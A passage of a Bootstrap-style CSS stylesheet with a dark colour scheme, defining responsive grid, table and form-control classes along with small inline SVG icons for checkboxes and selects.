max-width: 720px; } } @media (min-width: 992px) { .container, .container-sm, .container-md, .container-lg { max-width: 960px; } } @media (min-width: 1200px) { .container, .container-sm, .container-md, .container-lg, .container-xl { max-width: 1140px; } } @media (min-width: 1400px) { .container, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl { max-width: 1320px; } } .row { --bs-gutter-x: 1.5rem; --bs-gutter-y: 0; display: flex; flex-wrap: wrap; margin-top: calc(-1 * var(--bs-gutter-y)); margin-right: calc(-.5 * var(--bs-gutter-x)); margin-left: calc(-.5 * var(--bs-gutter-x)); } .row > * { flex-shrink: 0; width: 100%; max-width: 100%; padding-right: calc(var(--bs-gutter-x) * .5); padding-left: calc(var(--bs-gutter-x) * .5); margin-top: var(--bs-gutter-y); } .col { flex: 1 0 0%; } .row-cols-auto > * { flex: 0 0 auto; width: auto; } .row-cols-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-auto { flex: 0 0 auto; width: auto; } .col-1 { flex: 0 0 auto; width: 8.33333%; } .col-2 { flex: 0 0 auto; width: 16.66667%; } .col-3 { flex: 0 0 auto; width: 25%; } .col-4 { flex: 0 0 auto; width: 33.33333%; } .col-5 { flex: 0 0 auto; width: 41.66667%; } .col-6 { flex: 0 0 auto; width: 50%; } .col-7 { flex: 0 0 auto; width: 58.33333%; } .col-8 { flex: 0 0 auto; width: 66.66667%; } .col-9 { flex: 0 0 auto; width: 75%; } .col-10 { flex: 0 0 auto; width: 83.33333%; } .col-11 { flex: 0 0 auto; width: 91.66667%; } .col-12 { flex: 0 0 auto; width: 100%; } .offset-1 { margin-left: 8.33333%; } .offset-2 { margin-left: 16.66667%; } .offset-3 { margin-left: 25%; } .offset-4 { margin-left: 33.33333%; } .offset-5 { margin-left: 41.66667%; } .offset-6 { margin-left: 50%; } .offset-7 { margin-left: 58.33333%; } .offset-8 { margin-left: 66.66667%; } .offset-9 { margin-left: 75%; } .offset-10 { margin-left: 83.33333%; } .offset-11 { margin-left: 91.66667%; } .g-0, .gx-0 { --bs-gutter-x: 0; } .g-0, .gy-0 { --bs-gutter-y: 0; } .g-1, .gx-1 { --bs-gutter-x: 0.25rem; } .g-1, .gy-1 { --bs-gutter-y: 0.25rem; } .g-2, .gx-2 { --bs-gutter-x: 0.5rem; } .g-2, .gy-2 { --bs-gutter-y: 0.5rem; } .g-3, .gx-3 { --bs-gutter-x: 1rem; } .g-3, .gy-3 { --bs-gutter-y: 1rem; } .g-4, .gx-4 { --bs-gutter-x: 1.5rem; } .g-4, .gy-4 { --bs-gutter-y: 1.5rem; } .g-5, .gx-5 { --bs-gutter-x: 3rem; } .g-5, .gy-5 { --bs-gutter-y: 3rem; } @media (min-width: 576px) { .col-sm { flex: 1 0 0%; } .row-cols-sm-auto > * { flex: 0 0 auto; width: auto; } .row-cols-sm-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-sm-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-sm-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-sm-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-sm-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-sm-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-sm-auto { flex: 0 0 auto; width: auto; } .col-sm-1 { flex: 0 0 auto; width: 8.33333%; } .col-sm-2 { flex: 0 0 auto; width: 16.66667%; } .col-sm-3 { flex: 0 0 auto; width: 25%; } .col-sm-4 { flex: 0 0 auto; width: 33.33333%; } .col-sm-5 { flex: 0 0 auto; width: 41.66667%; } .col-sm-6 { flex: 0 0 auto; width: 50%; } .col-sm-7 { flex: 0 0 auto; width: 58.33333%; } .col-sm-8 { flex: 0 0 auto; width: 66.66667%; } .col-sm-9 { flex: 0 0 auto; width: 75%; } .col-sm-10 { flex: 0 0 auto; width: 83.33333%; } .col-sm-11 { flex: 0 0 auto; width: 91.66667%; } .col-sm-12 { flex: 0 0 auto; width: 100%; } .offset-sm-0 { margin-left: 0; } .offset-sm-1 { margin-left: 8.33333%; } .offset-sm-2 { margin-left: 16.66667%; } .offset-sm-3 { margin-left: 25%; } .offset-sm-4 { margin-left: 33.33333%; } .offset-sm-5 { margin-left: 41.66667%; } .offset-sm-6 { margin-left: 50%; } .offset-sm-7 { margin-left: 58.33333%; } .offset-sm-8 { margin-left: 66.66667%; } .offset-sm-9 { margin-left: 75%; } .offset-sm-10 { margin-left: 83.33333%; } .offset-sm-11 { margin-left: 91.66667%; } .g-sm-0, .gx-sm-0 { --bs-gutter-x: 0; } .g-sm-0, .gy-sm-0 { --bs-gutter-y: 0; } .g-sm-1, .gx-sm-1 { --bs-gutter-x: 0.25rem; } .g-sm-1, .gy-sm-1 { --bs-gutter-y: 0.25rem; } .g-sm-2, .gx-sm-2 { --bs-gutter-x: 0.5rem; } .g-sm-2, .gy-sm-2 { --bs-gutter-y: 0.5rem; } .g-sm-3, .gx-sm-3 { --bs-gutter-x: 1rem; } .g-sm-3, .gy-sm-3 { --bs-gutter-y: 1rem; } .g-sm-4, .gx-sm-4 { --bs-gutter-x: 1.5rem; } .g-sm-4, .gy-sm-4 { --bs-gutter-y: 1.5rem; } .g-sm-5, .gx-sm-5 { --bs-gutter-x: 3rem; } .g-sm-5, .gy-sm-5 { --bs-gutter-y: 3rem; } } @media (min-width: 768px) { .col-md { flex: 1 0 0%; } .row-cols-md-auto > * { flex: 0 0 auto; width: auto; } .row-cols-md-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-md-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-md-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-md-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-md-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-md-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-md-auto { flex: 0 0 auto; width: auto; } .col-md-1 { flex: 0 0 auto; width: 8.33333%; } .col-md-2 { flex: 0 0 auto; width: 16.66667%; } .col-md-3 { flex: 0 0 auto; width: 25%; } .col-md-4 { flex: 0 0 auto; width: 33.33333%; } .col-md-5 { flex: 0 0 auto; width: 41.66667%; } .col-md-6 { flex: 0 0 auto; width: 50%; } .col-md-7 { flex: 0 0 auto; width: 58.33333%; } .col-md-8 { flex: 0 0 auto; width: 66.66667%; } .col-md-9 { flex: 0 0 auto; width: 75%; } .col-md-10 { flex: 0 0 auto; width: 83.33333%; } .col-md-11 { flex: 0 0 auto; width: 91.66667%; } .col-md-12 { flex: 0 0 auto; width: 100%; } .offset-md-0 { margin-left: 0; } .offset-md-1 { margin-left: 8.33333%; } .offset-md-2 { margin-left: 16.66667%; } .offset-md-3 { margin-left: 25%; } .offset-md-4 { margin-left: 33.33333%; } .offset-md-5 { margin-left: 41.66667%; } .offset-md-6 { margin-left: 50%; } .offset-md-7 { margin-left: 58.33333%; } .offset-md-8 { margin-left: 66.66667%; } .offset-md-9 { margin-left: 75%; } .offset-md-10 { margin-left: 83.33333%; } .offset-md-11 { margin-left: 91.66667%; } .g-md-0, .gx-md-0 { --bs-gutter-x: 0; } .g-md-0, .gy-md-0 { --bs-gutter-y: 0; } .g-md-1, .gx-md-1 { --bs-gutter-x: 0.25rem; } .g-md-1, .gy-md-1 { --bs-gutter-y: 0.25rem; } .g-md-2, .gx-md-2 { --bs-gutter-x: 0.5rem; } .g-md-2, .gy-md-2 { --bs-gutter-y: 0.5rem; } .g-md-3, .gx-md-3 { --bs-gutter-x: 1rem; } .g-md-3, .gy-md-3 { --bs-gutter-y: 1rem; } .g-md-4, .gx-md-4 { --bs-gutter-x: 1.5rem; } .g-md-4, .gy-md-4 { --bs-gutter-y: 1.5rem; } .g-md-5, .gx-md-5 { --bs-gutter-x: 3rem; } .g-md-5, .gy-md-5 { --bs-gutter-y: 3rem; } } @media (min-width: 992px) { .col-lg { flex: 1 0 0%; } .row-cols-lg-auto > * { flex: 0 0 auto; width: auto; } .row-cols-lg-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-lg-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-lg-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-lg-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-lg-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-lg-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-lg-auto { flex: 0 0 auto; width: auto; } .col-lg-1 { flex: 0 0 auto; width: 8.33333%; } .col-lg-2 { flex: 0 0 auto; width: 16.66667%; } .col-lg-3 { flex: 0 0 auto; width: 25%; } .col-lg-4 { flex: 0 0 auto; width: 33.33333%; } .col-lg-5 { flex: 0 0 auto; width: 41.66667%; } .col-lg-6 { flex: 0 0 auto; width: 50%; } .col-lg-7 { flex: 0 0 auto; width: 58.33333%; } .col-lg-8 { flex: 0 0 auto; width: 66.66667%; } .col-lg-9 { flex: 0 0 auto; width: 75%; } .col-lg-10 { flex: 0 0 auto; width: 83.33333%; } .col-lg-11 { flex: 0 0 auto; width: 91.66667%; } .col-lg-12 { flex: 0 0 auto; width: 100%; } .offset-lg-0 { margin-left: 0; } .offset-lg-1 { margin-left: 8.33333%; } .offset-lg-2 { margin-left: 16.66667%; } .offset-lg-3 { margin-left: 25%; } .offset-lg-4 { margin-left: 33.33333%; } .offset-lg-5 { margin-left: 41.66667%; } .offset-lg-6 { margin-left: 50%; } .offset-lg-7 { margin-left: 58.33333%; } .offset-lg-8 { margin-left: 66.66667%; } .offset-lg-9 { margin-left: 75%; } .offset-lg-10 { margin-left: 83.33333%; } .offset-lg-11 { margin-left: 91.66667%; } .g-lg-0, .gx-lg-0 { --bs-gutter-x: 0; } .g-lg-0, .gy-lg-0 { --bs-gutter-y: 0; } .g-lg-1, .gx-lg-1 { --bs-gutter-x: 0.25rem; } .g-lg-1, .gy-lg-1 { --bs-gutter-y: 0.25rem; } .g-lg-2, .gx-lg-2 { --bs-gutter-x: 0.5rem; } .g-lg-2, .gy-lg-2 { --bs-gutter-y: 0.5rem; } .g-lg-3, .gx-lg-3 { --bs-gutter-x: 1rem; } .g-lg-3, .gy-lg-3 { --bs-gutter-y: 1rem; } .g-lg-4, .gx-lg-4 { --bs-gutter-x: 1.5rem; } .g-lg-4, .gy-lg-4 { --bs-gutter-y: 1.5rem; } .g-lg-5, .gx-lg-5 { --bs-gutter-x: 3rem; } .g-lg-5, .gy-lg-5 { --bs-gutter-y: 3rem; } } @media (min-width: 1200px) { .col-xl { flex: 1 0 0%; } .row-cols-xl-auto > * { flex: 0 0 auto; width: auto; } .row-cols-xl-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-xl-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-xl-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-xl-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-xl-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-xl-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-xl-auto { flex: 0 0 auto; width: auto; } .col-xl-1 { flex: 0 0 auto; width: 8.33333%; } .col-xl-2 { flex: 0 0 auto; width: 16.66667%; } .col-xl-3 { flex: 0 0 auto; width: 25%; } .col-xl-4 { flex: 0 0 auto; width: 33.33333%; } .col-xl-5 { flex: 0 0 auto; width: 41.66667%; } .col-xl-6 { flex: 0 0 auto; width: 50%; } .col-xl-7 { flex: 0 0 auto; width: 58.33333%; } .col-xl-8 { flex: 0 0 auto; width: 66.66667%; } .col-xl-9 { flex: 0 0 auto; width: 75%; } .col-xl-10 { flex: 0 0 auto; width: 83.33333%; } .col-xl-11 { flex: 0 0 auto; width: 91.66667%; } .col-xl-12 { flex: 0 0 auto; width: 100%; } .offset-xl-0 { margin-left: 0; } .offset-xl-1 { margin-left: 8.33333%; } .offset-xl-2 { margin-left: 16.66667%; } .offset-xl-3 { margin-left: 25%; } .offset-xl-4 { margin-left: 33.33333%; } .offset-xl-5 { margin-left: 41.66667%; } .offset-xl-6 { margin-left: 50%; } .offset-xl-7 { margin-left: 58.33333%; } .offset-xl-8 { margin-left: 66.66667%; } .offset-xl-9 { margin-left: 75%; } .offset-xl-10 { margin-left: 83.33333%; } .offset-xl-11 { margin-left: 91.66667%; } .g-xl-0, .gx-xl-0 { --bs-gutter-x: 0; } .g-xl-0, .gy-xl-0 { --bs-gutter-y: 0; } .g-xl-1, .gx-xl-1 { --bs-gutter-x: 0.25rem; } .g-xl-1, .gy-xl-1 { --bs-gutter-y: 0.25rem; } .g-xl-2, .gx-xl-2 { --bs-gutter-x: 0.5rem; } .g-xl-2, .gy-xl-2 { --bs-gutter-y: 0.5rem; } .g-xl-3, .gx-xl-3 { --bs-gutter-x: 1rem; } .g-xl-3, .gy-xl-3 { --bs-gutter-y: 1rem; } .g-xl-4, .gx-xl-4 { --bs-gutter-x: 1.5rem; } .g-xl-4, .gy-xl-4 { --bs-gutter-y: 1.5rem; } .g-xl-5, .gx-xl-5 { --bs-gutter-x: 3rem; } .g-xl-5, .gy-xl-5 { --bs-gutter-y: 3rem; } } @media (min-width: 1400px) { .col-xxl { flex: 1 0 0%; } .row-cols-xxl-auto > * { flex: 0 0 auto; width: auto; } .row-cols-xxl-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-xxl-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-xxl-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-xxl-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-xxl-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-xxl-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-xxl-auto { flex: 0 0 auto; width: auto; } .col-xxl-1 { flex: 0 0 auto; width: 8.33333%; } .col-xxl-2 { flex: 0 0 auto; width: 16.66667%; } .col-xxl-3 { flex: 0 0 auto; width: 25%; } .col-xxl-4 { flex: 0 0 auto; width: 33.33333%; } .col-xxl-5 { flex: 0 0 auto; width: 41.66667%; } .col-xxl-6 { flex: 0 0 auto; width: 50%; } .col-xxl-7 { flex: 0 0 auto; width: 58.33333%; } .col-xxl-8 { flex: 0 0 auto; width: 66.66667%; } .col-xxl-9 { flex: 0 0 auto; width: 75%; } .col-xxl-10 { flex: 0 0 auto; width: 83.33333%; } .col-xxl-11 { flex: 0 0 auto; width: 91.66667%; } .col-xxl-12 { flex: 0 0 auto; width: 100%; } .offset-xxl-0 { margin-left: 0; } .offset-xxl-1 { margin-left: 8.33333%; } .offset-xxl-2 { margin-left: 16.66667%; } .offset-xxl-3 { margin-left: 25%; } .offset-xxl-4 { margin-left: 33.33333%; } .offset-xxl-5 { margin-left: 41.66667%; } .offset-xxl-6 { margin-left: 50%; } .offset-xxl-7 { margin-left: 58.33333%; } .offset-xxl-8 { margin-left: 66.66667%; } .offset-xxl-9 { margin-left: 75%; } .offset-xxl-10 { margin-left: 83.33333%; } .offset-xxl-11 { margin-left: 91.66667%; } .g-xxl-0, .gx-xxl-0 { --bs-gutter-x: 0; } .g-xxl-0, .gy-xxl-0 { --bs-gutter-y: 0; } .g-xxl-1, .gx-xxl-1 { --bs-gutter-x: 0.25rem; } .g-xxl-1, .gy-xxl-1 { --bs-gutter-y: 0.25rem; } .g-xxl-2, .gx-xxl-2 { --bs-gutter-x: 0.5rem; } .g-xxl-2, .gy-xxl-2 { --bs-gutter-y: 0.5rem; } .g-xxl-3, .gx-xxl-3 { --bs-gutter-x: 1rem; } .g-xxl-3, .gy-xxl-3 { --bs-gutter-y: 1rem; } .g-xxl-4, .gx-xxl-4 { --bs-gutter-x: 1.5rem; } .g-xxl-4, .gy-xxl-4 { --bs-gutter-y: 1.5rem; } .g-xxl-5, .gx-xxl-5 { --bs-gutter-x: 3rem; } .g-xxl-5, .gy-xxl-5 { --bs-gutter-y: 3rem; } } .table { --bs-table-color: #808191; --bs-table-bg: transparent; --bs-table-border-color: #3E3F4A; --bs-table-accent-bg: transparent; --bs-table-striped-color: #808191; --bs-table-striped-bg: rgba(0, 0, 0, 0.05); --bs-table-active-color: #808191; --bs-table-active-bg: rgba(0, 0, 0, 0.1); --bs-table-hover-color: #808191; --bs-table-hover-bg: rgba(81, 69, 157, 0.02); width: 100%; margin-bottom: 1rem; color: var(--bs-table-color); vertical-align: top; border-color: var(--bs-table-border-color); } .table > :not(caption) > * > * { padding: 0.9rem 0.75rem; background-color: var(--bs-table-bg); border-bottom-width: 1px; box-shadow: inset 0 0 0 9999px var(--bs-table-accent-bg); } .table > tbody { vertical-align: inherit; } .table > thead { vertical-align: bottom; } .table-group-divider { border-top: 2px solid currentcolor; } .caption-top { caption-side: top; } .table-sm > :not(caption) > * > * { padding: 0.3rem 0.3rem; } .table-bordered > :not(caption) > * { border-width: 1px 0; } .table-bordered > :not(caption) > * > * { border-width: 0 1px; } .table-borderless > :not(caption) > * > * { border-bottom-width: 0; } .table-borderless > :not(:first-child) { border-top-width: 0; } .table-striped > tbody > tr:nth-of-type(odd) > * { --bs-table-accent-bg: var(--bs-table-striped-bg); color: var(--bs-table-striped-color); } .table-striped-columns > :not(caption) > tr > :nth-child(even) { --bs-table-accent-bg: var(--bs-table-striped-bg); color: var(--bs-table-striped-color); } .table-active { --bs-table-accent-bg: var(--bs-table-active-bg); color: var(--bs-table-active-color); } .table-hover > tbody > tr:hover > * { --bs-table-accent-bg: var(--bs-table-hover-bg); color: var(--bs-table-hover-color); } .table-primary { --bs-table-color: #212529; --bs-table-bg: #dcdaeb; --bs-table-border-color: #c9c8d8; --bs-table-striped-bg: #d3d1e1; --bs-table-striped-color: #212529; --bs-table-active-bg: #c9c8d8; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #d8d6e7; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-secondary { --bs-table-color: #212529; --bs-table-bg: #e2e3e5; --bs-table-border-color: #cfd0d2; --bs-table-striped-bg: #d8dadc; --bs-table-striped-color: #212529; --bs-table-active-bg: #cfd0d2; --bs-table-active-color: #212529; --bs-table-hover-bg: #dedfe1; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-success { --bs-table-color: #212529; --bs-table-bg: #e2f7d9; --bs-table-border-color: #cfe2c7; --bs-table-striped-bg: #d8edd0; --bs-table-striped-color: #212529; --bs-table-active-bg: #cfe2c7; --bs-table-active-color: #212529; --bs-table-hover-bg: #def3d5; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-info { --bs-table-color: #212529; --bs-table-bg: #d8f4f7; --bs-table-border-color: #c6dfe2; --bs-table-striped-bg: #cfeaed; --bs-table-striped-color: #212529; --bs-table-active-bg: #c6dfe2; --bs-table-active-color: #212529; --bs-table-hover-bg: #d4f0f3; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-warning { --bs-table-color: #212529; --bs-table-bg: #ffecd2; --bs-table-border-color: #e9d8c1; --bs-table-striped-bg: #f4e2ca; --bs-table-striped-color: #212529; --bs-table-active-bg: #e9d8c1; --bs-table-active-color: #212529; --bs-table-hover-bg: #fbe8cf; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-danger { --bs-table-color: #212529; --bs-table-bg: #ffd8e2; --bs-table-border-color: #e9c6d0; --bs-table-striped-bg: #f4cfd9; --bs-table-striped-color: #212529; --bs-table-active-bg: #e9c6d0; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #fbd4de; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-light { --bs-table-color: #212529; --bs-table-bg: #f8f9fa; --bs-table-border-color: #e3e4e5; --bs-table-striped-bg: #edeef0; --bs-table-striped-color: #212529; --bs-table-active-bg: #e3e4e5; --bs-table-active-color: #212529; --bs-table-hover-bg: #f4f5f6; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-dark { --bs-table-color: #ffffff; --bs-table-bg: #1c232f; --bs-table-border-color: #333944; --bs-table-striped-bg: #272e39; --bs-table-striped-color: #ffffff; --bs-table-active-bg: #333944; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #212733; --bs-table-hover-color: #ffffff; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-responsive { overflow-x: auto; -webkit-overflow-scrolling: touch; } @media (max-width: 575.98px) { .table-responsive-sm { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 767.98px) { .table-responsive-md { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 991.98px) { .table-responsive-lg { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 1199.98px) { .table-responsive-xl { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 1399.98px) { .table-responsive-xxl { overflow-x: auto; -webkit-overflow-scrolling: touch; } } .form-label { margin-bottom: 0.5rem; } .col-form-label { padding-top: calc(0.575rem + 2px); padding-bottom: calc(0.575rem + 2px); margin-bottom: 0; font-size: inherit; line-height: 1.5; } .col-form-label-lg { padding-top: calc(0.5rem + 2px); padding-bottom: calc(0.5rem + 2px); font-size: 1.09375rem; } .col-form-label-sm { padding-top: calc(0.25rem + 2px); padding-bottom: calc(0.25rem + 2px); font-size: 0.76563rem; } .form-text { margin-top: 0.25rem; font-size: 80%; color: #6c757d; } .form-control, .custom-select, .dataTable-selector, .dataTable-input { display: block; width: 100%; padding: 0.575rem 1rem; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #808191; background-color: #22242c; background-clip: padding-box; border: 2px solid #3E3F4A; -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 6px; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-control, .custom-select, .dataTable-selector, .dataTable-input { transition: none; } } .form-control[type="file"], .custom-select[type="file"], .dataTable-selector[type="file"], .dataTable-input[type="file"] { overflow: hidden; } .form-control[type="file"]:not(:disabled):not([readonly]), .custom-select[type="file"]:not(:disabled):not([readonly]), .dataTable-selector[type="file"]:not(:disabled):not([readonly]), .dataTable-input[type="file"]:not(:disabled):not([readonly]) { cursor: pointer; } .form-control:focus, .custom-select:focus, .dataTable-selector:focus, .dataTable-input:focus { color: #808191; background-color: #22242c; border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-control::-webkit-date-and-time-value, .custom-select::-webkit-date-and-time-value, .dataTable-selector::-webkit-date-and-time-value, .dataTable-input::-webkit-date-and-time-value { height: 1.5em; } .form-control::-moz-placeholder, .custom-select::-moz-placeholder, .dataTable-selector::-moz-placeholder, .dataTable-input::-moz-placeholder { color: #6c757d; opacity: 1; } .form-control::placeholder, .custom-select::placeholder, .dataTable-selector::placeholder, .dataTable-input::placeholder { color: #6c757d; opacity: 1; } .form-control:disabled, .custom-select:disabled, .dataTable-selector:disabled, .dataTable-input:disabled { background-color: #2b2d38; opacity: 1; } .form-control::file-selector-button, .custom-select::file-selector-button, .dataTable-selector::file-selector-button, .dataTable-input::file-selector-button { padding: 0.575rem 1rem; margin: -0.575rem -1rem; -webkit-margin-end: 1rem; margin-inline-end: 1rem; color: #808191; background-color: #22242c; pointer-events: none; border-color: inherit; border-style: solid; border-width: 0; border-inline-end-width: 2px; border-radius: 0; transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-control::file-selector-button, .custom-select::file-selector-button, .dataTable-selector::file-selector-button, .dataTable-input::file-selector-button { transition: none; } } .form-control:hover:not(:disabled):not([readonly])::file-selector-button, .custom-select:hover:not(:disabled):not([readonly])::file-selector-button, .dataTable-selector:hover:not(:disabled):not([readonly])::file-selector-button, .dataTable-input:hover:not(:disabled):not([readonly])::file-selector-button { background-color: #20222a; } .form-control-plaintext { display: block; width: 100%; padding: 0.575rem 0; margin-bottom: 0; line-height: 1.5; color: #808191; background-color: transparent; border: solid transparent; border-width: 2px 0; } .form-control-plaintext:focus { outline: 0; } .form-control-plaintext.form-control-sm, .form-control-plaintext.form-control-lg { padding-right: 0; padding-left: 0; } .form-control-sm { min-height: calc(1.5em + 0.5rem + 4px); padding: 0.25rem 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .form-control-sm::file-selector-button { padding: 0.25rem 0.5rem; margin: -0.25rem -0.5rem; -webkit-margin-end: 0.5rem; margin-inline-end: 0.5rem; } .form-control-lg { min-height: calc(1.5em + 1rem + 4px); padding: 0.5rem 1rem; font-size: 1.09375rem; border-radius: 8px; } .form-control-lg::file-selector-button { padding: 0.5rem 1rem; margin: -0.5rem -1rem; -webkit-margin-end: 1rem; margin-inline-end: 1rem; } textarea.form-control, textarea.custom-select, textarea.dataTable-selector, textarea.dataTable-input { min-height: calc(1.5em + 1.15rem + 4px); } textarea.form-control-sm { min-height: calc(1.5em + 0.5rem + 4px); } textarea.form-control-lg { min-height: calc(1.5em + 1rem + 4px); } .form-control-color { width: 3rem; height: calc(1.5em + 1.15rem + 4px); padding: 0.575rem; } .form-control-color:not(:disabled):not([readonly]) { cursor: pointer; } .form-control-color::-moz-color-swatch { border: 0 !important; border-radius: 6px; } .form-control-color::-webkit-color-swatch { border-radius: 6px; } .form-control-color.form-control-sm { height: calc(1.5em + 0.5rem + 4px); } .form-control-color.form-control-lg { height: calc(1.5em + 1rem + 4px); } .form-select { display: block; width: 100%; padding: 0.575rem 1rem 0.575rem 1rem; -moz-padding-start: calc(1rem - 3px); font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #808191; background-color: #22242c; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right 1rem center; background-size: 16px 12px; border: 2px solid #3E3F4A; border-radius: 6px; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -webkit-appearance: none; -moz-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-select { transition: none; } } .form-select:focus { border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-select[multiple], .form-select[size]:not([size="1"]) { padding-right: 1rem; background-image: none; } .form-select:disabled { color: #6c757d; background-color: #e9ecef; } .form-select:-moz-focusring { color: transparent; text-shadow: 0 0 0 #808191; } .form-select-sm { padding-top: 0.25rem; padding-bottom: 0.25rem; padding-left: 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .form-select-lg { padding-top: 0.5rem; padding-bottom: 0.5rem; padding-left: 1rem; font-size: 1.09375rem; border-radius: 8px; } .form-check { display: block; min-height: 1.3125rem; padding-left: 1.75em; margin-bottom: 0.125rem; } .form-check .form-check-input { float: left; margin-left: -1.75em; } .form-check-reverse { padding-right: 1.75em; padding-left: 0; text-align: right; } .form-check-reverse .form-check-input { float: right; margin-right: -1.75em; margin-left: 0; } .form-check-input { width: 1.25em; height: 1.25em; margin-top: 0.125em; vertical-align: top; background-color: #22242c; background-repeat: no-repeat; background-position: center; background-size: contain; border: 1px solid rgba(0, 0, 0, 0.25); -webkit-appearance: none; -moz-appearance: none; appearance: none; print-color-adjust: exact; transition: background-color 0.15s ease-in-out, background-position 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-check-input { transition: none; } } .form-check-input[type="checkbox"] { border-radius: 0.25em; } .form-check-input[type="radio"] { border-radius: 50%; } .form-check-input:active { filter: brightness(90%); } .form-check-input:focus { border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-check-input:checked { background-color: #51459d; border-color: #51459d; } .form-check-input:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check-input:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ffffff'/%3e%3c/svg%3e"); } .form-check-input[type="checkbox"]:indeterminate { background-color: #51459d; border-color: #51459d; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e"); } .form-check-input:disabled { pointer-events: none; filter: none; opacity: 0.5; } .form-check-input[disabled] ~ .form-check-label, .form-check-input:disabled ~ .form-check-label { cursor: default; opacity: 0.5; } .form-switch { padding-left: 2.5em; } .form-switch .form-check-input { width: 2em; margin-left: -2.5em; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e"); background-position: left center; border-radius: 2em; transition: background-position 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-switch .form-check-input { transition: none; } } .form-switch .form-check-input:focus { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 